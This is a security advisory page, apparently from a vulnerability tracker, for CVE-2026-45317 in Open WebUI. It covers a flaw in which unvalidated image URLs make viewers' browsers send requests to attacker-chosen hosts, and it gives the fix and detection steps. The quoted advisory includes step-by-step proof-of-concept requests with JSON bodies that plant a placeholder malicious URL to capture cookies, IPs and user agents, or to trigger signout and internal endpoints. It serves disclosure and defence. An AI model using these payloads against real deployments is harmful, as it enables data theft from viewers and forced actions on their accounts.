NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Open WebUI

CVE-2026-45317: Open WebUI Vulnerable to Cross-Site Request Forgery (CSRF) via Image URL Manipulation

mediumCVSS 3.1 4.6GHSA-j6w6-986j-2m2m

Open WebUI 0.9.2 and earlier loads attacker-chosen image URLs in the browser of anyone who views a profile picture, model picture, shared chat or shared note. The viewer's browser sends a GET request to the attacker's server, leaking IP, user agent and cookies sent to that host, or hitting internal URLs. Fixed in 0.9.3.

Published May 14, 2026 · Updated May 19, 2026 · Analysis Oct 27, 2026

What an attacker can do

Image URLs are stored without validation of file type or origin, and the front end renders them as is. Any authenticated user can set one in profile_image_url (signup, updateUserProfile and update calls), in a model's meta.profile_image_url, in a file entry of type image in a chat saved through /api/v1/chats/{chat_id}, or in a note updated through /api/v1/notes/{note_id}/update.

When another user, such as an admin on /admin/users/overview, opens the page, their browser fetches the URL. The reporter's PoC captured IP, referer, user agent and cookies on a server they controlled. A hidden image in a shared chat or note fires with no visible sign. A model picture hits every user who starts a chat with that model.

The GET can also target state-changing URLs on the victim's session, such as /api/v1/auths/signout, internal network endpoints or heavy endpoints. NVD scores it 4.6 (low privileges, user interaction, low impact).

Who is affected

pip package open-webui, versions up to and including 0.9.2. Check:

pip show open-webui

Multi-user deployments with shared chats, shared notes or user-created models are the most exposed.

open-webui

Ecosystem
PyPI
Affected
<= 0.9.2
Fixed in
0.9.3
Check
pip show open-webui

How to fix it

Upgrade to open-webui 0.9.3:

pip install -U open-webui

The release notes list blocked untrusted external image URLs in profile and rich-text images (PR #24420) and a new ENABLE_PROFILE_IMAGE_URL_FORWARDING setting that can disable profile image URL forwarding. Signout now requires POST, which breaks custom clients that call it with GET. The release has schema changes: back up first, and update all instances of a multi-worker deployment at once.

How to tell if you were hit

Search stored profile_image_url, model meta and chat or note file entries for external http(s) URLs you do not recognise. Check egress logs for browser traffic from admin machines to odd hosts after they open the user list or shared content. Look for unexpected signout events on user sessions.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

An application-wide Cross-Site Request Forgery (CSRF) vulnerability was found Open-WebUl's image uploading functionality. An attacker can set an image URL to a malicious endpoint, allowing them to perform actions on behalf of a victim user. Any authenticated user can exploit this vulnerability, and any user who views the compromised image (e.g., a profile picture) will unknowingly send a GET request to the attacker-controlled URL. This can lead to cookie theft, denial of service (DoS), or other malicious actions.

This can be exploited in various locations, including:

• Profile picture

• Model picture

• Hidden images in shared chats

• Images within shared notes

Details

Vulnerable Code:

This appears to occur in most locations where images can be uploaded/rendered. Here are found sinks:

Profile Image in chat

• Note: rendering profile picture in chat

• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/chat/Messages/ProfileImage.svelte#L16Code

Profile Picture edit

• Note: Profile picture rendering in edit

• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/chat/Settings/Account.svelte#L205

Profile Image Navbar

• Note: Profile picture rendering in navbar

• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/chat/Navbar.svelte#L237

Profile Image UserList

• Note: rendering images in user list admin panel

• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/admin/Users/UserList.svelte#L399

Images in chat

• Note: rendering images in chat

• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/common/Image.svelte#L35

Image in chat

• Note: Image sent in chat

• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/channel/Messages/Message.svelte#L192 Model image in chat

• Note: Model image rendering in chat

• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/chat/Placeholder.svelte#L128

Model image in chat response

• Note: Model image rendering in the assistant response

• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/chat/Messages/ResponseMessage.svelte#L612

Model Image Admin settings

• Note: Model image rendering in the admin settings

• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/admin/Settings/Models.svelte#L336

Model Image Workspace

• Note: Model image rendering in the workspace

• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/workspace/Models.svelte#L336

Model Image Edit

• Note: Model image rendering in the edit modal

• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/workspace/Models/ModelEditor.svelte#L407

Image in Notes

• Note: Image rendering in shared note

• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/common/RichTextInput/Image/image.ts#L140

• Location: https://github.com/open-webui/open-webui/blob/2407d9b905978d68619bdce4021e424046ec8df9/src/lib/components/chat/Messages/UserMessage.svelte#L184

Root Cause

  1. Insecure display of image

• Application is sending a GET request to the unvalidated image url

  1. Lack of Input Validation

• Image url is not validated for filetype

PoCs

PoC (profile picture)

Environment

• Open-WebUl latest version (v0.6.41)

• Valid user

Step 1: Create a Malicious Link

• Set up a server to obtain victim's cookies, ip, referer, user-agent, etc

Step 2: Profile Image URL

  1. Add user
  1. Change the profile image url parameter to the malicious URL (server was used for PoC)
  1. Example POST request:
  1. Repeat action
  1. Repeat for userSignUp, updateUserProfile, and update

Step 3: View Image on Victim Admin Account

  1. Log into an admin account
  1. Visit the admin panel (/admin/users/overview)
  1. Notice the GET request sent to the malicious URL

Step 4: Verify User Information Is Sent

  1. Confirm user information is sent

PoC (chat)

Environment

• Open-WebUl latest version (v0.6.41)

• Valid user

Step 1: Create a Malicious Link

• Set up a server to obtain victim's cookies, ip, referer, use-agent, etc

Step 2: Start chat

  1. Start chat
  1. Send a message
  1. Resend POST request
  1. Resend post request to this endpoint /api/v1/chats/[chat_id_here]
  1. Add in a file with type set to image and the url set to the malicious link
  1. Replace models/ids/malicious_url_here with what is applicable
  1. {"chat":{"models":["redacted"],"history":{"messages":{"id_here":{"id":"id_here","parentId":"id_here","childrenIds":["id_here"],"role":"user","content":"","files":[{"type":"image","url":"MALICIOUS_URL_HERE"}],"timestamp":1765978991,"models":["redacted"]}}},"params":{},"files":[]}}
  1. Share chat
  1. Copy link to share the chat

Step 3: View Image on Victim Account

  1. Log into a valid account
  1. Open the shared chat
  1. Notice the GET request sent to the malicious URL from the hidden image on the page

Step 4: Verify User Information Is Sent

  1. Confirm user information is sent

PoC (notes)

Environment

• Open WebUI latest version (v0.6.41)

• Valid user with access to notes

Step 1: Create a Malicious Link

• Set up a server to obtain victim's cookies, ip, referer, use-agent, etc

Step 2: Create Note

  1. Resend POST request to /api/v1/notes/[note_id_here]/update
  1. Add in the malicious URL to a file
  1. Example parameters
  1. (replace the ID_HERE with valid ID and MALICIOUS_URL_HERE with the malicious URL):
  1. {"title":"2025-12-17","data":{"files":[{"id":"ID_HERE","type":"image","url":"MALICIOUS_URL_HERE"}]},"access_control":{"read":{"group_ids":[],"user_ids":[]},"write":{"group_ids":[],"user_ids":[]}}}
  1. Refresh page and notice the request being sent to the malicious URL
  1. Share note and copy link

Step 5: View Note on Valid Account

  1. Log into a valid account
  1. Open the shared note
  1. Notice the GET request sent to the malicious URL from the hidden image on the page

Step 6: Verify User Information Is Sent

  1. Verify that user information is sent.

PoC (model)

Environment

• Open WebUI latest version (v0.6.41)

• Admin user

Step 1: Create a Malicious Link

• Set up a server to obtain victim's cookies, ip, referer, use-agent, etc

Step 2: Create Model

  1. Navigate to /workspace/models
  1. Create or edit a model
  1. Send a POST request to /api/v1/models/create or /api/v1/models/model/update?id=[model_id]
  1. Change the profile_image_url to the malicious link
  1. Example parameters:
  1. {"id":"model_test","base_model_id":"redacted","name":"MODEL_TEST","meta":{"profile_image_url":"MALICIOUS_URL_HERE","description":null,"suggestion_prompts":null,"tags":[],"capabilities":{"vision":true,"file_upload":true,"web_search":true,"image_generation":true,"code_interpreter":true,"citations":true,"usage":false}},"params":{},"access_control":null}

Step 3: View Image on Valid Account

  1. Log into a valid account
  1. Create chat with the model
  1. Notice a GET request is sent to the malicious url
  1. All users starting a chat with that model will be vulnerable to the attack

Step 4:  View Image on Admin Account

  1. Navigate to /workspace/models
  1. Notice GET request sent to malicious url

Step 5: Verify User Information Is Sent

  1. On the set up server verify that improperly set cookies are sent, IP, user-agent, etc.

Other Attack Examples

  • Alternative malicious links
  • Signout of Open WebUI
  • /api/v1/auths/signout
  • Internal network endpoints
  • Signout of other applications
  • Resource intensive endpoints
  • Etc

Recommended Fix

  • Store images
  • Instead of sending a GET request to load the image each time, store the image and render on the page
  • Validate input
  • Image file types should be whitelisted (examples: .jpg, .png, .gif, .jpeg, etc)

Impact

Vulnerability Type

  • CWE-352: Cross-Site Request Forgery (CSRF)
  • CWE-20: Improper Input Validation

Affected users

  • All authenticated users

The impact of this vulnerability is significant. This application-wide vulnerability allows an attacker to perform actions on behalf of any user who views the compromised image. This can be particularly damaging if an administrator or privileged user views the image, as it could lead to elevated access or sensitive data exposure.

Credited to bray-sec, Classic298.

Questions

Is this a classic CSRF?

It is tracked as CWE-352 and CWE-20. The mechanism is an unvalidated image URL that the viewer's browser requests with a GET.

Which places can carry the URL?

Profile pictures, model pictures, hidden images in shared chats and images in shared notes.

What fixes CVE-2026-45317?

open-webui 0.9.3 fixes it. Versions up to 0.9.2 render unvalidated external image URLs in profiles, models, shared chats and notes.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Open WebUI vulnerabilities

All Open WebUI entries